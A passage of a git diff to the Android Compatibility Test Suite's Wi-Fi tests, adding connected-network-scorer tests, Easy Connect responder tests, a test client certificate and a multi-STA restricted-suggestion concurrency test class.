+
+            // We should not receive the start
+            assertThat(countDownLatchScorer.await(DURATION / 2, TimeUnit.MILLISECONDS)).isFalse();
+            assertThat(connectedNetworkScorer.startSessionId).isNull();
+
+            // Now disconnect from the network.
+            mConnectivityManager.unregisterNetworkCallback(networkCallback);
+            networkCallback = null;
+
+            // We should not receive the stop either
+            countDownLatchScorer = new CountDownLatch(1);
+            connectedNetworkScorer.resetCountDownLatch(countDownLatchScorer);
+            assertThat(countDownLatchScorer.await(DURATION / 2, TimeUnit.MILLISECONDS)).isFalse();
+            assertThat(connectedNetworkScorer.stopSessionId).isNull();
+        } finally {
+            executorService.shutdownNow();
+            mWifiManager.clearWifiConnectedNetworkScorer();
+            if (networkCallback != null) {
+                mConnectivityManager.unregisterNetworkCallback(networkCallback);
+            }
+            // Re-enable the networks after the test.
+            if (savedNetworks != null) {
+                for (WifiConfiguration savedNetwork : savedNetworks) {
+                    mWifiManager.enableNetwork(savedNetwork.networkId, false);
+                }
+            }
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+    /**
+     * Tests the {@link android.net.wifi.WifiConnectedNetworkScorer} interface.
+     *
+     * Verifies that the external scorer is not notified for local only connections.
+     */
+    @Test
+    public void testSetWifiConnectedNetworkScorerForSpecifierConnection() throws Exception {
+        setWifiConnectedNetworkScorerAndInitiateConnectToSpecifierOrRestrictedSuggestion(
+                (testNetwork, executorService) -> {
+                    // Connect using wifi network specifier.
+                    WifiNetworkSpecifier specifier =
+                            TestHelper.createSpecifierBuilderWithCredentialFromSavedNetwork(
+                                    testNetwork)
+                                    .build();
+                    return mTestHelper.testConnectionFlowWithSpecifierWithShellIdentity(
+                            testNetwork, specifier, false);
+                }
+        );
+    }
+
+    private void testSetWifiConnectedNetworkScorerForRestrictedSuggestionConnection(
+            Set<Integer> restrictedNetworkCapabilities) throws Exception {
+        setWifiConnectedNetworkScorerAndInitiateConnectToSpecifierOrRestrictedSuggestion(
+                (testNetwork, executorService) -> {
+                    // Connect using wifi network suggestion.
+                    WifiNetworkSuggestion.Builder suggestionBuilder =
+                            TestHelper
+                                    .createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                                    testNetwork);
+                    if (restrictedNetworkCapabilities.contains(NET_CAPABILITY_OEM_PAID)) {
+                        suggestionBuilder.setOemPaid(true);
+                    }
+                    if (restrictedNetworkCapabilities.contains(NET_CAPABILITY_OEM_PRIVATE)) {
+                        suggestionBuilder.setOemPrivate(true);
+                    }
+                    return mTestHelper.testConnectionFlowWithSuggestionWithShellIdentity(
+                            testNetwork, suggestionBuilder.build(), executorService,
+                            restrictedNetworkCapabilities);
+                }
+        );
+    }
+
+    /**
+     * Tests the {@link android.net.wifi.WifiConnectedNetworkScorer} interface.
+     *
+     * Verifies that the external scorer is not notified for oem paid suggestion connections.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testSetWifiConnectedNetworkScorerForOemPaidSuggestionConnection() throws Exception {
+        testSetWifiConnectedNetworkScorerForRestrictedSuggestionConnection(
+                Set.of(NET_CAPABILITY_OEM_PAID));
+    }
+
+    /**
+     * Tests the {@link android.net.wifi.WifiConnectedNetworkScorer} interface.
+     *
+     * Verifies that the external scorer is not notified for oem private suggestion connections.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testSetWifiConnectedNetworkScorerForOemPrivateSuggestionConnection()
+            throws Exception {
+        testSetWifiConnectedNetworkScorerForRestrictedSuggestionConnection(
+                Set.of(NET_CAPABILITY_OEM_PRIVATE));
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/EasyConnectStatusCallbackTest.java b/tests/tests/wifi/src/android/net/wifi/cts/EasyConnectStatusCallbackTest.java
index e0768d9..6d111fe 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/EasyConnectStatusCallbackTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/EasyConnectStatusCallbackTest.java
@@ -18,10 +18,13 @@
 
 import static android.net.wifi.EasyConnectStatusCallback.EASY_CONNECT_EVENT_FAILURE_TIMEOUT;
 import static android.net.wifi.WifiConfiguration.SECURITY_TYPE_PSK;
+import static android.net.wifi.WifiManager.EASY_CONNECT_CRYPTOGRAPHY_CURVE_PRIME256V1;
 import static android.net.wifi.WifiManager.EASY_CONNECT_NETWORK_ROLE_STA;
 
+import android.annotation.NonNull;
 import android.app.UiAutomation;
 import android.content.Context;
+import android.net.Uri;
 import android.net.wifi.EasyConnectStatusCallback;
 import android.net.wifi.WifiConfiguration;
 import android.net.wifi.WifiManager;
@@ -32,12 +35,14 @@
 import android.test.AndroidTestCase;
 import android.test.suitebuilder.annotation.SmallTest;
 import android.util.SparseArray;
+import androidx.test.filters.SdkSuppress;
 import androidx.test.platform.app.InstrumentationRegistry;
 
 import java.util.concurrent.Executor;
 
 @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 @SmallTest
+@VirtualDeviceNotSupported
 public class EasyConnectStatusCallbackTest extends WifiJUnit3TestBase {
     private static final String TEST_SSID = "\"testSsid\"";
     private static final String TEST_PASSPHRASE = "\"testPassword\"";
@@ -47,6 +52,9 @@
             "DPP:C:81/1,117/40;I:Easy_Connect_Demo;M:000102030405;"
                     + "K:MDkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDIgACDmtXD1Sz6/5B4YRdmTkbkkFLDwk8f0yRnfm1Go"
                     + "kpx/0=;;";
+    private static final String TEST_DEVICE_INFO = "DPP_RESPONDER_TESTER";
+    // As per spec semicolon is not allowed in device info
+    private static final String TEST_WRONG_DEVICE_INFO = "DPP_;RESPONDER_TESTER";
     private final HandlerThread mHandlerThread = new HandlerThread("EasyConnectTest");
     protected final Executor mExecutor;
     {
@@ -55,6 +63,7 @@
     }
     private final Object mLock = new Object();
     private boolean mOnFailureCallback = false;
+    private boolean mOnBootstrapUriGeneratedCallback = false;
     private int mErrorCode;
 
     @Override
@@ -98,6 +107,7 @@
             }
         }
 
+        @Override
         public void onFailure(int code, String ssid, SparseArray<int[]> channelListArray,
                 int[] operatingClassArray) {
             synchronized (mLock) {
@@ -106,6 +116,15 @@
                 mLock.notify();
             }
         }
+
+        @Override
+        public void onBootstrapUriGenerated(@NonNull Uri dppUri) {
+            synchronized (mLock) {
+                mOnBootstrapUriGeneratedCallback = true;
+                mLock.notify();
+            }
+
+        }
     };
 
     /**
@@ -179,4 +198,71 @@
             uiAutomation.dropShellPermissionIdentity();
         }
     }
+
+    /**
+     * Tests {@link android.net.wifi.EasyConnectStatusCallback#onBootstrapUriGenerated} callback.
+     *
+     * Since Easy Connect requires 2 devices, start Easy Connect responder session and expect a
+     * DPP URI
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testEnrolleeResponderUriGeneration() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        if (!mWifiManager.isEasyConnectEnrolleeResponderModeSupported()) {
+            // skip the test if Easy Connect Enrollee responder mode is not supported
+            return;
+        }
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            synchronized (mLock) {
+                assertTrue(mWifiManager.getEasyConnectMaxAllowedResponderDeviceInfoLength()
+                        > TEST_DEVICE_INFO.length());
+                mWifiManager.startEasyConnectAsEnrolleeResponder(TEST_DEVICE_INFO,
+                        EASY_CONNECT_CRYPTOGRAPHY_CURVE_PRIME256V1, mExecutor,
+                        mEasyConnectStatusCallback);
+                // Wait for supplicant to generate DPP URI and trigger the callback function to
+                // provide the generated URI.
+                mLock.wait(TEST_WAIT_DURATION_MS);
+            }
+            assertTrue(mOnBootstrapUriGeneratedCallback);
+            mWifiManager.stopEasyConnectSession();
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Test that {@link WifiManager#startEasyConnectAsEnrolleeResponder(String, int, Executor,
+     * EasyConnectStatusCallback)} throws illegal argument exception on passing a wrong device
+     * info.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void
+           testStartEasyConnectAsEnrolleeResponderThrowsIllegalArgumentExceptionOnWrongDeviceInfo()
+           throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        if (!mWifiManager.isEasyConnectEnrolleeResponderModeSupported()) {
+            // skip the test if Easy Connect Enrollee responder mode is not supported
+            return;
+        }
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            mWifiManager.startEasyConnectAsEnrolleeResponder(TEST_WRONG_DEVICE_INFO,
+                    EASY_CONNECT_CRYPTOGRAPHY_CURVE_PRIME256V1, mExecutor,
+                    mEasyConnectStatusCallback);
+            fail("startEasyConnectAsEnrolleeResponder did not throw an IllegalArgumentException"
+                    + "on passing a wrong device info!");
+        } catch (IllegalArgumentException expected) {}
+        uiAutomation.dropShellPermissionIdentity();
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/FakeKeys.java b/tests/tests/wifi/src/android/net/wifi/cts/FakeKeys.java
index f875301..2c0496a 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/FakeKeys.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/FakeKeys.java
@@ -234,6 +234,35 @@
     };
     public static final PrivateKey RSA_KEY1 = loadPrivateRSAKey(FAKE_RSA_KEY_1);
 
+    private static final String CLIENT_SUITE_B_RSA3072_CERT_STRING =
+            "-----BEGIN CERTIFICATE-----\n"
+                    + "MIIERzCCAq8CFDopjyNgaj+c2TN2k06h7okEWpHJMA0GCSqGSIb3DQEBDAUAMF4x\n"
+                    + "CzAJBgNVBAYTAlVTMQswCQYDVQQIDAJDQTEMMAoGA1UEBwwDTVRWMRAwDgYDVQQK\n"
+                    + "DAdBbmRyb2lkMQ4wDAYDVQQLDAVXaS1GaTESMBAGA1UEAwwJdW5pdGVzdENBMB4X\n"
+                    + "DTIwMDcyMTAyMjkxMVoXDTMwMDUzMDAyMjkxMVowYjELMAkGA1UEBhMCVVMxCzAJ\n"
+                    + "BgNVBAgMAkNBMQwwCgYDVQQHDANNVFYxEDAOBgNVBAoMB0FuZHJvaWQxDjAMBgNV\n"
+                    + "BAsMBVdpLUZpMRYwFAYDVQQDDA11bml0ZXN0Q2xpZW50MIIBojANBgkqhkiG9w0B\n"
+                    + "AQEFAAOCAY8AMIIBigKCAYEAwSK3C5K5udtCKTnE14e8z2cZvwmB4Xe+a8+7QLud\n"
+                    + "Hooc/lQzClgK4MbVUC0D3FE+U32C78SxKoTaRWtvPmNm+UaFT8KkwyUno/dv+2XD\n"
+                    + "pd/zARQ+3FwAfWopAhEyCVSxwsCa+slQ4juRIMIuUC1Mm0NaptZyM3Tj/ICQEfpk\n"
+                    + "o9qVIbiK6eoJMTkY8EWfAn7RTFdfR1OLuO0mVOjgLW9/+upYv6hZ19nAMAxw4QTJ\n"
+                    + "x7lLwALX7B+tDYNEZHDqYL2zyvQWAj2HClere8QYILxkvktgBg2crEJJe4XbDH7L\n"
+                    + "A3rrXmsiqf1ZbfFFEzK9NFqovL+qGh+zIP+588ShJFO9H/RDnDpiTnAFTWXQdTwg\n"
+                    + "szSS0Vw2PB+JqEABAa9DeMvXT1Oy+NY3ItPHyy63nQZVI2rXANw4NhwS0Z6DF+Qs\n"
+                    + "TNrj+GU7e4SG/EGR8SvldjYfQTWFLg1l/UT1hOOkQZwdsaW1zgKyeuiFB2KdMmbA\n"
+                    + "Sq+Ux1L1KICo0IglwWcB/8nnAgMBAAEwDQYJKoZIhvcNAQEMBQADggGBAMYwJkNw\n"
+                    + "BaCviKFmReDTMwWPRy4AMNViEeqAXgERwDEKwM7efjsaj5gctWfKsxX6UdLzkhgg\n"
+                    + "6S/T6PxVWKzJ6l7SoOuTa6tMQOZp+h3R1mdfEQbw8B5cXBxZ+batzAai6Fiy1FKS\n"
+                    + "/ka3INbcGfYuIYghfTrb4/NJKN06ZaQ1bpPwq0e4gN7800T2nbawvSf7r+8ZLcG3\n"
+                    + "6bGCjRMwDSIipNvOwoj3TG315XC7TccX5difQ4sKOY+d2MkVJ3RiO0Ciw2ZbEW8d\n"
+                    + "1FH5vUQJWnBUfSFznosGzLwH3iWfqlP+27jNE+qB2igEwCRFgVAouURx5ou43xuX\n"
+                    + "qf6JkdI3HTJGLIWxkp7gOeln4dEaYzKjYw+P0VqJvKVqQ0IXiLjHgE0J9p0vgyD6\n"
+                    + "HVVcP7U8RgqrbIjL1QgHU4KBhGi+WSUh/mRplUCNvHgcYdcHi/gHpj/j6ubwqIGV\n"
+                    + "z4iSolAHYTmBWcLyE0NgpzE6ntp+53r2KaUJA99l2iGVzbWTwqPSm0XAVw==\n"
+                    + "-----END CERTIFICATE-----\n";
+    public static final X509Certificate CLIENT_SUITE_B_RSA3072_CERT =
+            loadCertificate(CLIENT_SUITE_B_RSA3072_CERT_STRING);
+
     private static X509Certificate loadCertificate(String blob) {
         try {
             final CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java
new file mode 100644
index 0000000..432669b
--- /dev/null
+++ b/tests/tests/wifi/src/android/net/wifi/cts/MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest.java
@@ -0,0 +1,439 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.wifi.cts;
+
+import static android.net.NetworkCapabilities.NET_CAPABILITY_OEM_PAID;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_OEM_PRIVATE;
+import static android.os.Process.myUid;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.location.LocationManager;
+import android.net.ConnectivityManager;
+import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiManager;
+import android.net.wifi.WifiNetworkSuggestion;
+import android.platform.test.annotations.AppModeFull;
+import android.support.test.uiautomator.UiDevice;
+
+import androidx.test.filters.SdkSuppress;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ScheduledExecutorService;
+
+/**
+ * Tests multiple concurrent connection flow on devices that support multi STA concurrency
+ * (indicated via {@link WifiManager#isStaConcurrencyForRestrictedConnectionsSupported()}.
+ *
+ * Tests the entire connection flow using {@link WifiNetworkSuggestion} which has
+ * {@link WifiNetworkSuggestion.Builder#setOemPaid(boolean)} or
+ * {@link WifiNetworkSuggestion.Builder#setOemPrivate(boolean)} set along with a concurrent internet
+ * connection using {@link WifiManager#connect(int, WifiManager.ActionListener)}.
+ *
+ * Assumes that all the saved networks is either open/WPA1/WPA2/WPA3 authenticated network.
+ *
+ * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+ */
+@SdkSuppress(minSdkVersion = 31, codeName = "S")
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest extends WifiJUnit4TestBase {
+    private static final String TAG = "MultiStaConcurrencyRestrictedWifiNetworkSuggestionTest";
+    private static boolean sWasVerboseLoggingEnabled;
+    private static boolean sWasScanThrottleEnabled;
+    private static boolean sWasWifiEnabled;
+
+    private Context mContext;
+    private WifiManager mWifiManager;
+    private ConnectivityManager mConnectivityManager;
+    private UiDevice mUiDevice;
+    private WifiConfiguration mTestNetworkForRestrictedConnection;
+    private WifiConfiguration mTestNetworkForInternetConnection;
+    private ConnectivityManager.NetworkCallback mNetworkCallback;
+    private ConnectivityManager.NetworkCallback mNsNetworkCallback;
+    private ScheduledExecutorService mExecutorService;
+    private TestHelper mTestHelper;
+
+    private static final int DURATION_MILLIS = 10_000;
+
+    @BeforeClass
+    public static void setUpClass() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        // skip the test if WiFi is not supported or not automotive platform.
+        // Don't use assumeTrue in @BeforeClass
+        if (!WifiFeature.isWifiSupported(context)) return;
+
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
+        assertThat(wifiManager).isNotNull();
+
+        // turn on verbose logging for tests
+        sWasVerboseLoggingEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isVerboseLoggingEnabled());
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setVerboseLoggingEnabled(true));
+        // Disable scan throttling for tests.
+        sWasScanThrottleEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isScanThrottleEnabled());
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setScanThrottleEnabled(false));
+
+        // enable Wifi
+        sWasWifiEnabled = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.isWifiEnabled());
+        if (!wifiManager.isWifiEnabled()) {
+            ShellIdentityUtils.invokeWithShellPermissions(() -> wifiManager.setWifiEnabled(true));
+        }
+        PollingCheck.check("Wifi not enabled", DURATION_MILLIS, () -> wifiManager.isWifiEnabled());
+    }
+
+    @AfterClass
+    public static void tearDownClass() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        if (!WifiFeature.isWifiSupported(context)) return;
+
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
+        assertThat(wifiManager).isNotNull();
+
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setScanThrottleEnabled(sWasScanThrottleEnabled));
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setVerboseLoggingEnabled(sWasVerboseLoggingEnabled));
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> wifiManager.setWifiEnabled(sWasWifiEnabled));
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mWifiManager = mContext.getSystemService(WifiManager.class);
+        mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mExecutorService = Executors.newSingleThreadScheduledExecutor();
+        mTestHelper = new TestHelper(mContext, mUiDevice);
+
+        // skip the test if WiFi is not supported or not automitve platform.
+        assumeTrue(WifiFeature.isWifiSupported(mContext));
+        // skip the test if location is not supported
+        assumeTrue(mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LOCATION));
+        // skip if multi STA not supported.
+        assumeTrue(mWifiManager.isStaConcurrencyForRestrictedConnectionsSupported());
+
+        assertWithMessage("Please enable location for this test!").that(
+                mContext.getSystemService(LocationManager.class).isLocationEnabled()).isTrue();
+
+        // turn screen on
+        mTestHelper.turnScreenOn();
+
+        // Clear any existing app state before each test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+
+        // We need 2 AP's for the test. If there are 2 networks saved on the device and in range,
+        // use those. Otherwise, check if there are 2 BSSID's in range for the only saved network.
+        // This assumes a CTS test environment with at least 2 connectable bssid's (Is that ok?).
+        List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.getPrivilegedConfiguredNetworks());
+        List<WifiConfiguration> matchingNetworksWithBssid =
+                TestHelper.findMatchingSavedNetworksWithBssid(mWifiManager, savedNetworks);
+        assertWithMessage("Need at least 2 saved network bssids in range").that(
+                matchingNetworksWithBssid.size()).isAtLeast(2);
+        // Pick any 2 bssid for test.
+        mTestNetworkForRestrictedConnection = matchingNetworksWithBssid.get(0);
+        // Try to find a bssid for another saved network in range. If none exists, fallback
+        // to using 2 bssid's for the same network.
+        mTestNetworkForInternetConnection = matchingNetworksWithBssid.stream()
+                .filter(w -> !w.SSID.equals(mTestNetworkForRestrictedConnection.SSID))
+                .findAny()
+                .orElse(matchingNetworksWithBssid.get(1));
+
+        // Disconnect & disable auto-join on the saved network to prevent auto-connect from
+        // interfering with the test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> {
+                    for (WifiConfiguration savedNetwork : savedNetworks) {
+                        mWifiManager.disableNetwork(savedNetwork.networkId);
+                    }
+                    mWifiManager.disconnect();
+                });
+
+        // Wait for Wifi to be disconnected.
+        PollingCheck.check(
+                "Wifi not disconnected",
+                20_000,
+                () -> mWifiManager.getConnectionInfo().getNetworkId() == -1);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Re-enable networks.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> {
+                    for (WifiConfiguration savedNetwork : mWifiManager.getConfiguredNetworks()) {
+                        mWifiManager.enableNetwork(savedNetwork.networkId, false);
+                    }
+                });
+        // Release the requests after the test.
+        if (mNetworkCallback != null) {
+            mConnectivityManager.unregisterNetworkCallback(mNetworkCallback);
+        }
+        if (mNsNetworkCallback != null) {
+            mConnectivityManager.unregisterNetworkCallback(mNsNetworkCallback);
+        }
+        mExecutorService.shutdownNow();
+        // Clear any existing app state after each test.
+        ShellIdentityUtils.invokeWithShellPermissions(
+                () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+        mTestHelper.turnScreenOff();
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using internet connectivity API.
+     * 2. Connect to a network using restricted suggestion API.
+     * 3. Verify that both connections are active.
+     */
+    @Test
+    public void testConnectToOemPaidSuggestionWhenConnectedToInternetNetwork() throws Exception {
+        // First trigger internet connectivity.
+        mNetworkCallback = mTestHelper.testConnectionFlowWithConnect(
+                mTestNetworkForInternetConnection);
+
+        // Now trigger restricted connection.
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForRestrictedConnection)
+                        .setOemPaid(true)
+                        .build();
+        mNsNetworkCallback = mTestHelper.testConnectionFlowWithSuggestion(
+                mTestNetworkForRestrictedConnection, suggestion, mExecutorService,
+                Set.of(NET_CAPABILITY_OEM_PAID));
+
+        // Ensure that there are 2 wifi connections available for apps.
+        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(2);
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using restricted suggestion API.
+     * 2. Connect to a network using internet connectivity API.
+     * 3. Verify that both connections are active.
+     */
+    @Test
+    public void testConnectToInternetNetworkWhenConnectedToOemPaidSuggestion() throws Exception {
+        // First trigger restricted connection.
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForRestrictedConnection)
+                        .setOemPaid(true)
+                        .build();
+        mNsNetworkCallback = mTestHelper.testConnectionFlowWithSuggestion(
+                mTestNetworkForRestrictedConnection, suggestion, mExecutorService,
+                Set.of(NET_CAPABILITY_OEM_PAID));
+
+        // Now trigger internet connectivity.
+        mNetworkCallback = mTestHelper.testConnectionFlowWithConnect(
+                mTestNetworkForInternetConnection);
+
+        // Ensure that there are 2 wifi connections available for apps.
+        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(2);
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using internet connectivity API.
+     * 2. Connect to a network using restricted suggestion API.
+     * 3. Verify that both connections are active.
+     */
+    @Test
+    public void testConnectToOemPrivateSuggestionWhenConnectedToInternetNetwork() throws Exception {
+        // First trigger internet connectivity.
+        mNetworkCallback = mTestHelper.testConnectionFlowWithConnect(
+                mTestNetworkForInternetConnection);
+
+        // Now trigger restricted connection.
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForRestrictedConnection)
+                        .setOemPrivate(true)
+                        .build();
+        mNsNetworkCallback = mTestHelper.testConnectionFlowWithSuggestion(
+                mTestNetworkForRestrictedConnection, suggestion, mExecutorService,
+                Set.of(NET_CAPABILITY_OEM_PRIVATE));
+
+        // Ensure that there are 2 wifi connections available for apps.
+        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(2);
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using restricted suggestion API.
+     * 2. Connect to a network using internet connectivity API.
+     * 3. Verify that both connections are active.
+     */
+    @Test
+    public void testConnectToInternetNetworkWhenConnectedToOemPrivateSuggestion() throws Exception {
+        // First trigger restricted connection.
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForRestrictedConnection)
+                        .setOemPrivate(true)
+                        .build();
+        mNsNetworkCallback = mTestHelper.testConnectionFlowWithSuggestion(
+                mTestNetworkForRestrictedConnection, suggestion, mExecutorService,
+                Set.of(NET_CAPABILITY_OEM_PRIVATE));
+
+        // Now trigger internet connectivity.
+        mNetworkCallback = mTestHelper.testConnectionFlowWithConnect(
+                mTestNetworkForInternetConnection);
+
+        // Ensure that there are 2 wifi connections available for apps.
+        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(2);
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using internet connectivity API.
+     * 2. Simulate connection failure to a network using restricted suggestion API & different net
+     *    capability (need corresponding net capability requested for platform to connect).
+     * 3. Verify that only 1 connection is active.
+     */
+    @Test
+    public void testConnectToOemPaidSuggestionFailureWhenConnectedToInternetNetwork()
+            throws Exception {
+        // First trigger internet connectivity.
+        mNetworkCallback = mTestHelper.testConnectionFlowWithConnect(
+                mTestNetworkForInternetConnection);
+
+        // Now trigger restricted connection.
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForRestrictedConnection)
+                        .setOemPaid(true)
+                        .build();
+        mNsNetworkCallback = mTestHelper.testConnectionFailureFlowWithSuggestion(
+                mTestNetworkForRestrictedConnection, suggestion, mExecutorService,
+                Set.of(NET_CAPABILITY_OEM_PRIVATE));
+
+        // Ensure that there is only 1 connection available for apps.
+        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(1);
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using internet connectivity API.
+     * 2. Simulate connection failure to a network using restricted suggestion API & different net
+     *    capability (need corresponding net capability requested for platform to connect).
+     * 3. Verify that only 1 connection is active.
+     */
+    @Test
+    public void testConnectToOemPrivateSuggestionFailureWhenConnectedToInternetNetwork()
+            throws Exception {
+        // First trigger internet connectivity.
+        mNetworkCallback = mTestHelper.testConnectionFlowWithConnect(
+                mTestNetworkForInternetConnection);
+
+        // Now trigger restricted connection.
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForRestrictedConnection)
+                        .setOemPrivate(true)
+                        .build();
+        mNsNetworkCallback = mTestHelper.testConnectionFailureFlowWithSuggestion(
+                mTestNetworkForRestrictedConnection, suggestion, mExecutorService,
+                Set.of(NET_CAPABILITY_OEM_PAID));
+
+        // Ensure that there is only 1 connection available for apps.
+        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(1);
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using internet connectivity API.
+     * 2. Simulate connection failure to a restricted network using suggestion API & restricted net
+     *    capability (need corresponding restricted bit set in suggestion for platform to connect).
+     * 3. Verify that only 1 connection is active.
+     */
+    @Test
+    public void
+            testConnectToSuggestionFailureWithOemPaidNetCapabilityWhenConnectedToInternetNetwork()
+            throws Exception {
+        // First trigger internet connectivity.
+        mNetworkCallback = mTestHelper.testConnectionFlowWithConnect(
+                mTestNetworkForInternetConnection);
+
+        // Now trigger restricted connection.
+        WifiNetworkSuggestion suggestion =
+                TestHelper.createSuggestionBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForRestrictedConnection)
+                        .build();
+        mNsNetworkCallback = mTestHelper.testConnectionFailureFlowWithSuggestion(
+                mTestNetworkForRestrictedConnection, suggestion, mExecutorService,
+                Set.of(NET_CAPABILITY_OEM_PAID));
+
+        // Ensure that there is only 1 connection available for apps.
+        assertThat(mTestHelper.getNumWifiConnections()).isEqualTo(1);
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using internet connectivity API.
